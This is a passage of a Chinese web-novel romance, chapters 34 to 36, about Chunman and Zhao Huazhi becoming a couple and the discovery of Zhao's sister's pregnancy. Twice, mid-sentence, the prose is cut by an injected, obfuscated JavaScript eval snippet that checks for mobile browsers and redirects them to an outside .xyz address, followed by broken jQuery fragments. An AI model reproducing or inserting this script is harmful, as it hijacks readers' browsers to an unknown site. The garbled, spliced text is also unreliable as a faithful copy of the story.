春满仰头盯着天花板,觉得眼前失焦,随后她支起一条腿,抵在他肩膀上:“别折磨我了。” 她摸索到随手丢在床上的手机,解锁看了看时间。这时门铃响起,春满又一次出声:“去拿一下,是我叫的超市外送到了。” 很快手腕被抓住,赵华致提醒她不要走神。 春满解释:“要用的。” 赵华致手臂撑在她脸侧,居高临下地看着她,说明:“我这里有。江鎏和咖啡机一起送的。有一箱。” “……” 34.第 34 章 34 时间已经是凌晨。 最后一次是在淋浴间,结束时春满虚瘫在启动按摩功能的浴缸里,身体软得不像自己的。 春满在生物钟作用下,很累很困,该睡了,但另一种感受更为清晰。 “我好饿。”春满眼巴巴地看向去拿干净浴袍的赵华致。 后者显然误会了她的意思,诧异道:“还饿?” 春满怕他要付诸行动,急忙解释:“不是……我们没吃晚饭,你忘记了吗?” 赵华致歪头盯着某个方向想了想,适才想起真是这样。 这一晚上过的,事多,且很重要,一时忘记了时间。 “那你再泡一会儿,我看看冰箱里有什么。”他把浴袍放到春满一伸手就能够到的位置,离开时,朝水下看了眼,似乎还有想法。 春满觉得自己承受不住再来一次,泡在水中的手抬起,把皮肤上沾着的水珠往他脸上弹了下,赶人:“真饿了。” 赵华致笑了下,如她所愿出去。 厨房里食材不少,赵华致考虑到时间问题,煮了碗素面、凉拌了道小菜。 春满身上白色浴袍是赵华致的尺寸,她松松垮垮地穿着,露出精致立体的锁骨和修长脖颈。 “你困的话去休息,我吃完自己回家。”春满想到家里厨房还乱着,傍晚备菜备到一半便出了门,得简单收拾一下。 久没听到赵华致出声,春满茫然地抬头。 赵华致似乎对她这一安排很有意见,悠悠地打量着她。春满试探地问:“那我在你这里睡?” 心愿被满足的赵华致看似大度地摆谱:“随你。” 见状,春满故意没吭声,低头吃面。 不多时,赵华致回卧室把一片狼藉的床铺收拾了,对春满说:“不习惯睡一起,住客卧也行。主卧还是客卧,选一个。” 春满只是笑,说:“我不能回家吗?” “不能。”赵华致斩钉截铁,看到她的手机想起门口有个外卖迟迟没取,等拿回来,他拆了外送袋看了看商品包装上的尺寸,说:“买小了。” 春满是被催着去洗澡的功夫紧急下单的,此刻一起瞟了眼包装盒才意识到自己选了什么,之前的确是不了解。 春满把最后一口面汤喝干净,把碗推开,餍足地靠在椅背上,隔着段距离和他对视,不甘示弱地回道:“是不如江鎏了解你。” 春满有幸看到江鎏送的那一整箱计生用品,着实壮观。 明明是很愉快的夜晚时光,春满盯着赵华致,突然变得很难过。她连名带姓地叫他一声,突然提起:“这周周五,我的离职手续便办完了。” 这是一件比春满不愿意留宿还有令人不开心的事。赵华致脸上轻松的神色一点点敛去:“什么时候走?” “最晚两周后。”这批志愿者的报道时间很宽松,横跨了两个周。按春满原本的计划,离职后陪家人朋友吃顿饭,顶多两三天便踏上跨国航班。 如今选择两周后出发,压着最晚报道时间离开,已经是改变。 半个月的时间很快就过完了,赵华致微微蹙了蹙眉。 国际航线便捷,但他连上下楼的距离都嫌远,更何况是漂洋过海。 “你——”春满再次开口,却迟迟没能说下去。 赵华致强制自己冷静下来,当初说开开心心送她上飞机,真到了要面对的时候,不舍的情绪依然强烈。 去他妈的冷静。 春满刚拆了石膏,还有些不习惯,一如这一个月间赵华致的悉心照料仍旧历历在目一般。 她同样不舍得,但要问她可不可以放弃去做志愿者的选择,春满不想放弃,她怕自己放弃了会后悔,不放弃也会后悔。 春满觉得自己问完接下来的问题明天一定会后悔,但还是想趁着此刻的冲动一鼓作气地问出来。 “——介意异地恋吗?”春满没给赵华致立刻回答的机会,自顾道,“我个人不太喜欢异地恋,更何况是处在不同的国家。但我不忍心让你再等我,也不知道一段时间的等待后自己会如何选择。所以我想问问,你愿不愿意结束试用期,来做我的正牌男友。” 空气有那么几秒安静得落针可闻。赵华致大梦初醒般回笼意识,那种被吊在空中不上不下的不安感,因为这个问题尽数烟消云散。 “正牌男友有特殊福利吗?” 听见他回应,春满便觉得没有那么慌张了:“你想要什么?我看看能不能兑现。” “先让我抱一下。”赵华致的要求简单得不能再简单。 春满只跨出一步,便被赵华致紧紧地拥在怀里。 男人身上干净清冽的气息包裹住春满,她已经知道了赵华致的答案。 “赵华致,我觉得自己有点离不开你了。但我很怕这种感觉。”这是实话,她从不认为片刻的甜蜜代表着永远的结局,说她慕强也好,拜金也罢,她自己知道自己看重的是赵华致对自己的态度。 无关权利和财富,她喜欢一个人,那个人刚巧是赵华致而已。 “我不知道自己什么时候已经喜欢上你了。” “不管你是喜欢上我,还是喜欢上我,你都是我的。”赵华致同样的话说了两遍,重音却一个加在“喜欢”,一个加在“上”上。不难看出,他很开心。 春满哭笑不得地捶了下他的胸膛。 赵华致抱着春满,揉了揉她的头发,说:“春满你相信吗?所有的日久生情,都是当事人没有意识到的一见钟情。” 春满在他怀里窸窸窣窣地扬起脸,说:“我现在相信了。” - 早七点,春满在刺耳的闹钟声中清醒,她摸过手机按掉声音,放轻动作起床。 赵华致微微睁开眼,拉住她的手臂。 春满小声:“我回家洗漱,待会儿你下去吃早餐。” 赵华致嗓子沙哑,应了声,把人捞过来抱了会儿,才放人离开。 早餐是春满做的,吃过饭赵华致送春满去上班,目送她下车时,赵华致说起:“你什么时间有空,和我回家吃顿便饭。” 春满微怔,觉得有些快了,没立刻答应,只道:“我这几天有些忙。” “不急。” 虽然赵华致如是说,但春满心里一直记挂着这件事。 先前在赵昭儿生日聚会上见过邓婕妤一面,和传闻中一样优雅知性,性格似乎比想象中更亲和。 但春满迟迟没决定好吃这段饭。 一拖就拖到了周五,春满办完所有手续,正式离职。 当晚春满和昔日的同事聚餐,结束时赵华致去接她。回家的路上,赵华致接到邓婕妤的电话。 “你爸说,要把瞭春园户型最好的那幢别墅留给你当婚房,我今天去看了看,是挺不错的。我听你妹说,你还在追人家?我跟你爸当年都没有你这么墨迹,也不知道随了谁,你能不能争点气。” 赵华致在开车,手机连着车载蓝牙直接接通,因此春满全程听得一清二楚。 春满在邓婕妤提到婚房时,便没忍住看了赵华致一眼。原本只当时家里催婚,再听下去才意识到和自己有关系。 她不自在地偏了偏视线。 赵华致没给邓婕妤太多的发挥时间,及时打断:“妈,我开着车电话外放呢。” “外放就外放,你还知道自己丢人啊。” 赵华致清了清嗓子,看春满一眼,像是征询意见,但春满一言不发地装空气。 他视为默许,自顾道:“人家就在旁边坐着。” 这句提醒后,电话那头的邓婕妤谨言慎行,态度急转直下,换了副亲昵热络的语气:“春满吗?小满,阿姨开玩笑的,你不要放在心上哦。我儿子还是很优秀的。小满?你在听吗?” 春满没办法继续沉默,及时接上邓婕妤的话,打招呼:“阿姨你好,我在听。” 春满扯了扯赵华致的袖子,示意他说点什么帮自己解围。 赵华致把车开进小区,停好,抬手捉住春满的手指,拉在手里攥着,另只手拿起手机把蓝牙外放关掉,跟邓婕妤聊了会儿,才把电话挂断。 期间春满的手一直被他攥着揉揉搓搓。 “我妈叫我们明天回家吃饭,要去吗?赵赵也在家。” 春满没有再拒绝,应了声:“好。” - 翌日,两人回去得早,赵华致怕春满在长辈面前无聊,特意先把她带去了赵昭儿那里。 之前在停车场捡的那只被剪掉爪子的小猫现在已经行动自如。赵昭儿怕它走在地板上硌得疼,在家里铺满了地毯。 和春满凑在一起逗猫时,赵昭儿提起:“你学姐没再找你吧?小道消息,佟家这个季度得关掉一半的餐厅。” 春满被她这夸张的描述惊得瞳孔骤缩,觉得不像真事,可赵昭儿虽然爱八卦但不是空穴来风的人。 春满下意识朝赵华致投去视线。 赵华致端着一杯水从旁边路过,事不关己地飘来一句:“我说和我无关。你信吗?” 看来他也知道这件事。 赵昭儿生怕哥嫂生出嫌隙,忙说:“这次真跟我哥没关系, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794869|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谢宴迟。” 春满哑然。 谢宴迟针对这件事有所动作,她完全可以理解。 赵昭儿潦草地解释了几句,便把话题绕开。两人逗了会儿猫,见时间还早,便去二楼衣帽间试衣服。 春满刚刚贪嘴喝了半杯冰橙汁,突然觉得肚子有些不舒服,问清楚卫生间的位置,急急忙忙过去。 春满出来前洗手时,注意到盥洗台上摆着的一个长条形的东西。视线迟迟没能从上面移开,她拿起来看了眼。 两条红杠,强阳,是怀孕的意思。 春满朝身后的走廊望了望,赵昭儿说她平时一个人住。 彼时,仍在衣帽间的赵昭儿猛然想到什么,疾步往卫生间跑。家里有给客人用的卫生间,在一楼,但赵昭儿一没洁癖,二不觉得和自己准嫂子要分得这么清楚,再加上她房间的卫生间距离衣帽间近,便让她去了这里。 赵昭儿后知后觉不妥之处,找来时,看到春满手里的东西,已经迟了。 春满掩耳盗铃地放回去,装作无事发生地冲赵昭儿笑了笑:“快到饭点了,我们是不是该出发了。” 此时走廊上传来赵华致叫她们的声音,赵昭儿一不做二不休,把卫生间的门哐一下关住,双手合十,祈求状:“拜托拜托帮我保密。” 春满抿唇,虽有迟疑却还是露出一个让她安心的笑。 赵华致不知什么时候已经来到门外,敲了敲:“在里面吗?你有个快递到了,说一定要本人签收。你自己去处理?” 春满拿起那物证想建议她要不要先找个地方藏一藏时,赵昭儿扬声应了句“来了!”,慌不择路地找到门的方向去开门。 春满根本来不及拦,不知道是快递太重要,还是担心自己暴露,赵昭儿脚底抹油,跑得飞快。 赵华致把视线从妹妹的背影上收回,看向春满。 这个卫生间明亮宽敞,设计得干净简洁,人在里面聊天吃饭都不成问题。 赵华致站在门口见里面没什么不方便的,便没急着走开,隐约察觉到春满状态不对,他抬步走进来。 “我注意到你刚刚喝了冰的,身体不舒服?” 春满回了句“没有”,眼看赵华致逐渐逼近,她手里捏着那个烫手山芋,根本没地方放。 “你……可不可以先出去?我还没结束。”春满伸出空出的那只手,推了推他的胳膊。 赵华致一脸狐疑,春满努力装作自然的状态本身便很奇怪,他半推半就地被推出门。 把门关上,春满长长地舒了口气。 却不想,赵华致冷不丁地杀了个回马枪,他把门推开,探头进来:“身体不舒服不要逞强,不吃这顿饭也没关——” 咔哒! 春满没提防他的折返,物证脱手掉到地上。 赵华致循声望去,脸上神情很是丰富。下一秒,他推开门,走进来把验孕棒捡起来,看清上面的两条杠。 春满想开口解释,只见赵华致拿出手机,特意百度了两条杠的意思,才看向春满,问:“你要说什么?” 本着替赵昭儿打掩护的承诺,春满咬咬牙,半晌只憋出来一句:“不是你妹的,你别去问她。” 赵华致疑惑地哦了声,问:“你的意思是这是你的。” 春满思绪卡壳,自己简直是主动往火坑里跳。她不承认,也没否认,嘴硬道:“这个有时候不准,之前就听说有人吃了西瓜再测,没怀孕也能测出来阳性。” 赵华致很较真:“那我预约下午的医生做检查?” 反正查这个没有副作用,春满心想要不索性背下这个锅,也算是遵守了和赵昭儿的承诺。 “行。”她重重地点头,看着赵华致点了几下手机屏幕。 “我有个要求,”赵华致视线从手机上移回春满脸上,“去医院做检查之前,我们先把结婚证领了。” 春满刚要说没这个必要吧,赵华致有理有据地解释:“我不想让孩子以为我们是奉子成婚。我觉得这一点很有必要,我们结婚是因为彼此喜欢,不是因为别的什么因素。” 春满张了张嘴,觉得自己突然间被架起来,一旦说明真相,便暴露了赵昭儿,想到赵昭儿在谢宴迟面前老母鸡护崽似的维护自己,只能硬着头皮说:“可以。” “可以什么?” 话赶话,春满仿佛被下了蛊似的,跟着赵华致的指引说:“可以去领证。” 等她意识到自己答应了什么,想反悔时,只见赵华致把手机拿高些,提醒道:“春满,我录音了。” “……” 35.第 35 章 35 春满丧失了一切表达能力,被赵华致的无耻惊得张了张嘴。 有没有录音已经不是关键,春满复盘方才的细枝末节,反思自己是什么时候被赵华致看穿的。 赵华致得逞地弯了弯唇,未雨绸缪地提醒道:“不准反悔。” 春满老实地闭上嘴,数秒后,只好坦白:“不是故意骗你的。” 楼下传来赵昭儿催促他们下楼的声音,可能她终于意识到自己忘记把物证收起来,担心赵华致过久地在楼上逗留会发现,催得很急。 “我收拾好了,我们现在出发吗?不知道今天准备了什么菜。”赵昭儿的语气听上去很欢乐。 赵华致微微偏了偏头,眉头一凛,不是被打扰和女朋友甜蜜时光的不悦,而是流露出身为哥哥的强势和威严。 “等等。”眼看着赵华致抬步下去抓人,春满动作迅速地拉住了他的手腕。 赵华致循声望回来,眼神疑惑。 春满提前探口风:“你会骂她吗?” 看赵华致的表情,应该是要骂的。春满尽自己所能地帮她说情:“赵赵是成年人,她知道对自己负责。你要不让她自己处理?” 这大概是赵华致为数不多拒绝春满提议的时刻。他叹口气,但已经打定了主意,很干脆地说:“别的事可以随她,这件事不行。” 闻言,春满不再劝什么,松开了阻拦的手。 赵华致周身气压极低,带着物证下楼,春满落后一两步跟在赵华致身后。 趁他不注意,春满急忙拿出手机给赵昭儿通风报信:“瞒不住了。” 一楼没心没肺的欢乐豆在收到消息那刻没了声音,险些自欺欺人地把手机丢掉眼不见为净。 眼看着赵华致从楼上下来,赵昭儿一慌便开始话痨,口不择言地先发制人:“你们太慢了吧,我都饿死了,走了走了——” 吧嗒。 有东西被丢到她眼前。 赵昭儿霎时噎声。 赵昭儿是被家里人宠大的,想做什么就去做什么,只要不违法犯罪,家里人都不会多嘴。赵华致自然是没机会凶她的,但天生的血脉压制让她没缘由地败下阵来。 可能是顾虑到自己在春满心中的形象,赵华致表情虽然严肃又凶冷,但言语上不至于发飙,只是说:“等吃完饭,约医生做检查,我亲自带你去。” 赵昭儿小心翼翼地挪到春满身边,挽住她的胳膊,寻求同伙,然后才缩着脖子,“哦”了声。 赵华致伸手指她,但赵昭儿很聪明地往春满身后一藏,赵华致对着春满便没了重话。 春满小声提醒:“你别吓到她。” 邓婕妤的电话来得很及时,打破了这里僵持的氛围。 动身去吃饭的这一路,赵昭儿寸步不离地黏着春满,仿佛一旦离了春满,她就会被赵华致暗杀似的。 不知情的邓婕妤见状,笑着调侃:“赵赵和小满感情这么好呢,你哥都快吃醋了。” 赵昭儿看了眼赵华致,兄妹俩怒目横对,他俨然还没消气。 但似乎他并不打算把这件事情跟父母说,赵昭儿不由得松了口气。 春满原本对这顿饭挺紧张的,但经过这个小插曲,一点紧张情绪都没了,全程只有对这兄妹俩状况的担心,也害怕他俩谁心直口快把这件事在饭桌上说出来,搞僵氛围,春满这个里不里外不外的人夹在中间难受。 好在春满的担心是多余的,赵隆琛严肃但没有架子,是个老婆奴,邓婕妤热情,但分寸感把握得很好。 的的确确是一顿便饭,大家聊着家常,春满没有感受到压力。 吃完饭后水果,赵隆琛陪邓婕妤去插花,赵华致递给赵昭儿一个眼神,后者灰溜溜地起身准备出发去医院。 “那我自己回家。”春满刚说一句,胳膊就被赵昭儿挽住,要求:“小满姐,你必须得陪我,否则我哥一定会打断我的腿。” 春满因此没走成,一起坐上了驶往私人医院的车。 春满没有陪人做孕检的经历,全程很无措,医生让做什么就陪着赵昭儿做什么。 赵昭儿作为当事人,比她还要懵。 虽说已经有了心理准备,但验完血,拿到确认怀孕的诊断报告,赵昭儿仍有几分不真实感。 听医生说现在能看到胎芽胎心时,赵昭儿抬手抚上自己的小腹,惊喜又难以置信。 “我这段时间工作压力挺大的,熬夜是家常便饭,根本没想到经期推迟是因为这个。”从医院出来,赵昭儿喃喃地跟春满说。 春满帮她拿着东西,下台阶时,特意小心地注意着她的脚步避免踩空,状似不经意地问起:“要跟孩子爸爸说一声吗?” 赵昭儿从喜不自胜的情绪中抽离,抬起脚忘记迈步,说:“我想一想怎么说吧。” 春满没追问,直到赵昭儿主动说:“他应该也不想结婚。而且他家里……”一想到这个,赵昭儿皱了皱眉,孕激素让人情绪容易反复无常,非常敏锐感性。 春满提醒:“总归是要说的。” 赵昭儿好像听进去了,又好像没有,把手机解锁又锁掉。 春满拍了怕她的背,稍稍安抚:“先回家。” 赵华致等在车里,遥遥地看到两人从大厅出来,开门下车迎上去。 “把检查单给我。” 春满看了赵昭儿一眼,打算等得到她的允许再把东西递出去,但赵昭儿并没有注意到她的询问,脚步不停径自钻进了车里,不知情的还以为做了混蛋事的是赵华致呢。 赵华致蹙眉看了赵昭儿的背影一眼,春满怕他们在这里发生口角,急忙把所有单据都递出去,并且跟他简单说明了结果和医生建议。 没一会儿,春满和赵华致回到驾驶室,赵昭儿把耳机往脑袋上一戴,摇滚乐开得很大。 赵华致发动车子,从后视镜里瞪了后排一眼。 这一眼刚好被赵昭儿注意到,她反应激烈地把耳机拉下来,不知死活地捅他脊梁骨:“你是在生气吗,是气小满姐没怀孕还是生我的气?” 赵华致不理她这不带脑子的攻击,自顾问:“那个人是谁?” 赵昭儿眼皮垂下:“不想说。” “赵相宜!!!” 春满也是刚刚做检查登记个人信息时才知道,赵相宜是赵昭儿的本名。她说因为相宜这个名字太温柔,工作中镇不住场子,赵昭一听便很有态度,所以给自己取了“赵昭儿”这个艺名工作用。 春满觉得车身抖了抖,第一时间紧紧攥住安全带。 赵华致注意到,脾气收敛些,把车子开稳。 车子原路开回家,刚一停稳,赵昭儿便推开车门跑下去。春满和赵华致后脚下车,看到赵昭儿已经跑进了家门。 门死死地关上也没用,赵华致有密码,带着春满没阻碍地进去。 “她怎么跟你说的?”二楼卧室门被关住时发出巨响,赵华致抬头看了眼,问春满。 “没说什么。”春满刚坐下又起身,不放心道,“我上楼陪她会儿。” 赵华致捏了捏眉心,打不得骂不得,很是头疼,点了点头,嘱咐道:“你告诉她,我没有批评她的打算,爸妈肯定也不会批评她。这件事情本身没有对错,但她的态度不对。你让她冷静冷静,下来好好解决问题。” 春满应下,带着从医院带回来的检查单,敲开了她卧室的门。 “我哥很生气吗?”赵昭儿刚哭过,眼眶红得跟小兔子似的。 春满露出个轻松的笑:“没。他只是不想看你一个劲儿地伤心,你现在怀着孕,情绪反复对身体不好。你稍微休息会儿,下楼跟你哥好好聊聊。” 赵昭儿应该是听进去了,心虚地咬了咬唇,点点头。 春满把从医院拿回来的各种单据交给赵昭儿收好,赵昭儿盯着其中的化验单,毫无征兆地突然出声:“是谢宴迟。” 谁?春满愣住,很快明白赵昭儿为什么抗拒让赵华致知道。 赵家、谢家在生意场上一直是劲敌,商业版图重合率极高,一旦联姻,两家集团日后的工作开展势必要大动干戈。 春满半晌才找到自己的声音,问道:“你自己告诉他,还是让你哥去找他?” 连春满都能看明白的事,赵昭儿和谢宴迟肯定更加清楚。 他俩从一开始便只追求今朝有酒今朝醉,没考虑过要对这段关系负责。 赵昭儿记起谢宴迟那副没定性的纨绔少爷做派,怎么想都不觉得他有喜当爹的准备。 但让赵华致找了去,情况肯定更糟。 “……我自己说。”赵昭儿找到自己的手机,在春满的注视下,给谢宴迟发消息:“我怀孕了。” 春满扫了眼,赵昭儿给谢宴迟的备注是“狗东西”。 对面消息回得快,但也简单:“?” 好在后面还跟了一条:“这是什么整蛊测试吗?” 额,不如没有这条。 赵昭儿被气得陡然坐直,把化验单拍照发过去,随后捏着语音键一顿输出:“很好笑吗?你看你做的好事!我真的怀孕了!再有半个小时,我哥就要联系你家提亲了,你最好提前想好说辞!我要是被我哥打了,谢宴迟你也别想好过!” 春满习惯了他俩互怼,正因为习惯了,压根想不到他们俩会有这一层关系。 没给谢宴迟回嘴的机会,赵昭儿挂断电话,手一扬,把手机扔出去。 赵华致在一楼听到赵昭儿在吼,但听不清具体内容,因此上来看看,谁知刚一开门,就被手机砸个正着。 赵昭儿没想砸人,一时有些懵,但懵过了头,开始连坐:“你出去!你们男人都不靠谱!” 赵华致开门时,正好听清楚最后一句。知道对象是谁便好办了,他弯腰把手机捡起来,在春满轻轻摇头示意他不要刺激她的提醒中,心平气和道:“难道不是你挑男人的眼光有问题吗?洗把脸下楼把这件事解决了,晚点爸妈就过来了。” “谁让你告诉他们的!”在工作中连一点负面情绪都不会流露在外,今天总忍不住情绪激动,又哭又叫的,比赵华致印象中她小时候的样子还要聒噪。 春满夹在他们中间,一边安抚赵昭儿,一边安抚赵华致:“激素作用,情绪敏感,你忍一忍。 赵华致嘴角动了动,刚刚在楼下查了些资料,多少明白点,主动递了个台阶:“谁说是来看你的,他们给春满送东西。你安安静静地下楼,再吵我立刻去谢家提亲。” “哦。”赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799281|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭儿见状,知道他哥已经不生气了。 - 赵昭儿中午便没怎么吃东西,从医院回来后一直窝在房间里,此刻只觉饥肠辘辘。 她委屈又无辜地看向赵华致:“我妈中午是不是说给我留了半锅鸡汤,让王姨送来了吗,我想吃碗面。” 赵华致觑她一眼,起身去厨房,不多时,把一碗热腾腾的鸡汤面放到赵昭儿面前。 “谢谢哥。”赵昭儿嘴甜。 春满挨着赵华致坐,拉过他的手看他刚刚不小心被锅盖烫红的地方,问:“没用凉水冲?” 赵华致觑了眼一直朝这边偷瞄的赵昭儿,接下来的话是回春满,也是说给赵昭儿听:“被气晕头了。” 赵昭儿鼓了鼓脸颊,吃了两筷子面突然难过起来,抬手抚上自己的肚子,对于怀孕这件事,是没有实感的。让孩子出生在一个父母没有感情的家庭,很不公平,可将一个有了胎心的孩子打掉,似乎也很残忍。 这个孩子怎么这么倒霉,摊到她身上了呢。 赵昭儿吸了吸鼻子,开始抹眼角。 赵华致虽然一直在跟春满说话,却分了一丝注意力在赵昭儿身上,见状,刚要调侃一句。这时春满的手机响了。 春满看到来电显示后,下意识把屏幕朝赵华致偏了偏。 赵华致看清来电人那一瞬,脸色冷下来,想到这是春满的手机又按下腾得蹿上来的火,示意她:“你接。” 春满拿着手机走到一旁,接通。 春满想不通谢宴迟联系自己能有什么事,尤其没想到是因为他联系不上赵昭儿才求助她。 “让我见她一面。我现在在她家门口。”谢宴迟在电话那头表达自己的诉求。 春满回头看了赵昭儿一眼,没有立刻答应,挂断电话,她坐回餐桌旁,小声把意思转达给赵华致。 “让他来。” 赵昭儿抬头看了春满和哥哥一眼,不知道他们在说什么。 春满给谢宴迟发消息,说明情况。得知春满会帮自己开门,谢宴迟回了句“谢谢”。春满心里感慨,今夕何年啊谢宴迟竟然对她这么客气。 很快门铃响了。 不知情的赵昭儿胡乱抹了抹眼泪,问:“是爸妈来了吗?” 春满怕赵华致和谢宴迟在门口起冲突,主动起身:“我去开吧。” 来人正是谢宴迟。 谢宴迟不知道是没来得及收拾,还是在门口被风吹的,头发有一缕翘起来,显得风尘仆仆。 谢宴迟在春满的引领下进门,赵昭儿正拿着粉扑压眼周的泪痕,瞥见来人是他,当即蹦起来炸毛:“你来做什么?” 谢宴迟一进门看到赵华致冷着张脸坐在那里,本能地有些怵。直到被赵昭儿吼了一嗓子,才及时回神。 “我联系不上你,就找来了。”谢宴迟从夹克外套口袋里掏出个什么东西放到桌上,“我从家里偷出来的,我们领证吧。” 春满没明白事情的发展走向,定睛看去,发现是一本户口本。 赵昭儿同样傻眼,下意识看了自己亲哥一眼,然后瞪向谢宴迟,紧张得有些口吃:“你、你神经病啊!我才二十二,结什么婚!” 谢宴迟从收到消息就开始慌,联系不上人更慌,偷户口本时还在慌,一路上憋了一肚子的话,正准备开口。 只见赵华致嚯一下从推开餐椅起身,赵昭儿和谢宴迟齐刷刷地望向这个担任家长角色的旁观者。 春满却觉得赵华致不像是制止或者反对,她一瞬不瞬地注视着赵华致,只见他一脸平静地扫了眼情绪起伏较大的两人,说:“你们继续,我坐久了,起来走走。” 春满觉得赵华致对谢宴迟带着户口本上门这一举动挺满意的,虽说两家联姻还有很多事亟待解决,但至少这态度是可圈可点的。 “我陪他一块。”春满跟两人打了声招呼,抬步跟上。 院内的小花园里,赵华致时不时透过落地玻璃窗朝屋里看两眼,春满打趣:“不放心你还出来。” “赵赵那脾气,谁也做不了她的主,而且爱演,drama queen。我在那里只会让她闹得更凶。”赵华致随手拈了朵白色的雏菊别在春满的耳边。 春满抬手摸了摸,虽不解,但还是配合地戴着,问:“好看吗?” 赵华致拿起手机给她拍了张照片,说:“好看。”他语气如常,说的却不是一件开心的事,“趁现在有机会多拍几张,等你抛下我出国了,我好睹物思人。” 春满凑过来看成片,耳朵上夹着的花吧嗒掉到他的手机屏幕上,她顾不上捡花,仰脸觑他,想判断他是真的难过还是装的。 但赵华致粉饰太平的能力过于强大,又或者是他不想春满因此为难,插科打诨般,趁春满不备,他拿起手机突然抓拍了张。 春满眨眼,去抢他手机删照片:“我这个角度很丑。” “丑照印象更深刻。”赵华致伸直胳膊,把手机举高。 春满踮脚攀着他的胸膛伸手去拿:“赵华致!” 见她气急败坏地瞪自己,赵华致心情莫名的好了,捏着她的下巴亲了下嘴唇,然后另只手勾住她的腰,把这个吻加深。 花香、阳光、爬藤架下,两人身影相拥交叠。 36.第 36 章 36 花园里两人蜜里调油,赵昭儿这边的情况并不算明朗。 春满和赵华致前脚离开房间,赵昭儿便拿起户口本丢到谢宴迟身上:“不是新型整蛊游戏吗?那你来做什么啊。” 赵昭儿丢完就意识到自己太情绪化了。她看似风风火火,但处理事情自认稳重,此刻的表现除了受到孕激素的影响,大概跟她和谢宴迟的相处模式有关系。 眼看着户口本打到他的下巴处,然后掉到地板上,赵昭儿手指无意识地蜷了蜷,内心生出几分歉意。 谢宴迟弯腰把户口本捡起来,低头看着。依照赵昭儿对他的了解,他马上就该冷嘲热讽地攻击她了。 但是半分钟过去,攻击迟迟没有到来。 时间安静得越来越久。赵昭儿又想,他会不会因为遭到驱赶扭头就走,顺理成章地撇清这份责任。 但他仍旧没有。 “你想生下来吗?”谢宴迟像是接受了赵昭儿不想结婚的态度,进入到下一个问题。 赵昭儿被问得噎声,举棋不定地还停留在上一个矛盾。 她也不是坚定地反对结婚,方才只是话赶话的冲动之言。她现在才二十二岁,工作上升期,导演的工作本就劳心费神,频繁的出差是难免的,婚姻会约束她做决定的自由。 她跟谢宴迟认识时间不算短,求学轨迹重合率极高,连兴趣老师都有重合。近几年随着赵华致和谢开阳的针锋相对,他们俩为了给自己哥哥争口气也较着劲儿地斗着,才真正熟起来,圈子里的朋友都知道他俩是死对头。 想到和他每一次互看不上眼的交锋,赵昭儿难免回忆起那一夜夜默契又和谐的温存。她其实并不能分清在这场深度捆绑开始时是谁主动,谁被动。现在也不是梳理这个的时候。 仔细算下来他们真正相处的时间并不久,还是这种拿不上台面的关系。 对上谢宴迟注视着自己的眼睛,赵昭儿把脸别开。 好像也关结不结婚的事,只要她决定生下这个孩子,那未来一年甚至更久的时间里,约束是一定存在的。 她不忍心把这样一个小生命打掉。 听到赵昭儿似乎是很轻地嗯了声,谢宴迟很快说明自己的想法:“那我和你一起养。” 赵昭儿险些习惯性地脱口而出“我缺你那点钱啊”,理性战胜感性,及时忍住。她坐在餐椅上,看着站在对面的谢宴迟。 他样貌气度很出挑,否则对颜值要求极高的赵昭儿当初连一根手指都不会让他碰。 虽然大多时候混不吝没正行,中二拽酷的样子很欠揍,但经过这次的事情,赵昭儿对他有些改观了。 谢宴迟从小被当成谢家继承人培养,头脑和心态都不逊色。他后来选择不接管集团,更多的是出于对哥哥的依赖和信任,这足以说明他是个重感情的人。 相较起来,她反倒成了意气用事的那个。 - 花园内,春满推了推赵华致的肩膀,透过落地窗朝室内望了眼,提醒道:“他们能看见。” “让他们看。好好看着我们做的示范,别整天吵吵得耳朵疼。”赵华致这般说,却还是结束了恋人间过分亲密的举动。 久久不见里面的人有进展,春满不由得担心:“你觉得谢宴迟值得托付吗?” 赵华致看上去还算镇定,他情绪峰值大概是被赵昭儿呛的时候。他把问题抛回给春满:“你感觉呢,你跟他们相处得也不短,” “我不知道。我不会看人。”春满视线移到花园内高低错落的植物上,很是沉默。 赵华致仿佛看透她一般,抬手摸了摸她的头发:“没事,对的人会主动走向你。” 春满扭头,瞥了他一眼:“油嘴滑舌。” 赵华致笑了笑,没急着自证。时间一分一秒的流逝,他再次看向落地窗内,回到前一个问题:“让赵赵自己决定吧。” 说话间,春满敏锐地听到院墙外飘进来的说话声,很耳熟的两道声音。 春满分辨出什么后,猛得和赵华致交换了个眼神。 “你爸妈来了。” 眼看着两位长辈谈笑风生地跨进院门,赵华致朝落地窗内的两个人望了眼,大家根本没时间提前串供。 “叔叔阿姨。”春满及时扬声喊人,试图以此通知室内的两人。 邓婕妤笑吟吟地打招呼:“你们在看花啊,赵赵收拾的这个花园是挺漂亮的。诶赵赵人呢?现在挺懂事,给你俩留空间独处。” 春满笑着,赵华致接上这个问题:“她跟朋友在里面说话。” 说着他看向赵隆琛手里拎着的东西,问:“这是拿给春满的东西,里面是什么?” “这是几样吃的。我给小满挑了几块比较适合她的料子,待会儿来人给她量量尺寸做两身旗袍。”邓婕妤打量着春满,对赵华致说,“别在这站着了,带小满进屋说。” 让两位长辈先进门,春满和赵华致紧随其后。 趁前面人不备,春满小声和赵华致通气:“没来得及提醒赵赵。” 赵华致拍了拍春满的手背,安抚性地表示没关系。 随着一行四人进门,赵昭儿和谢宴迟很快注意到造访的人。 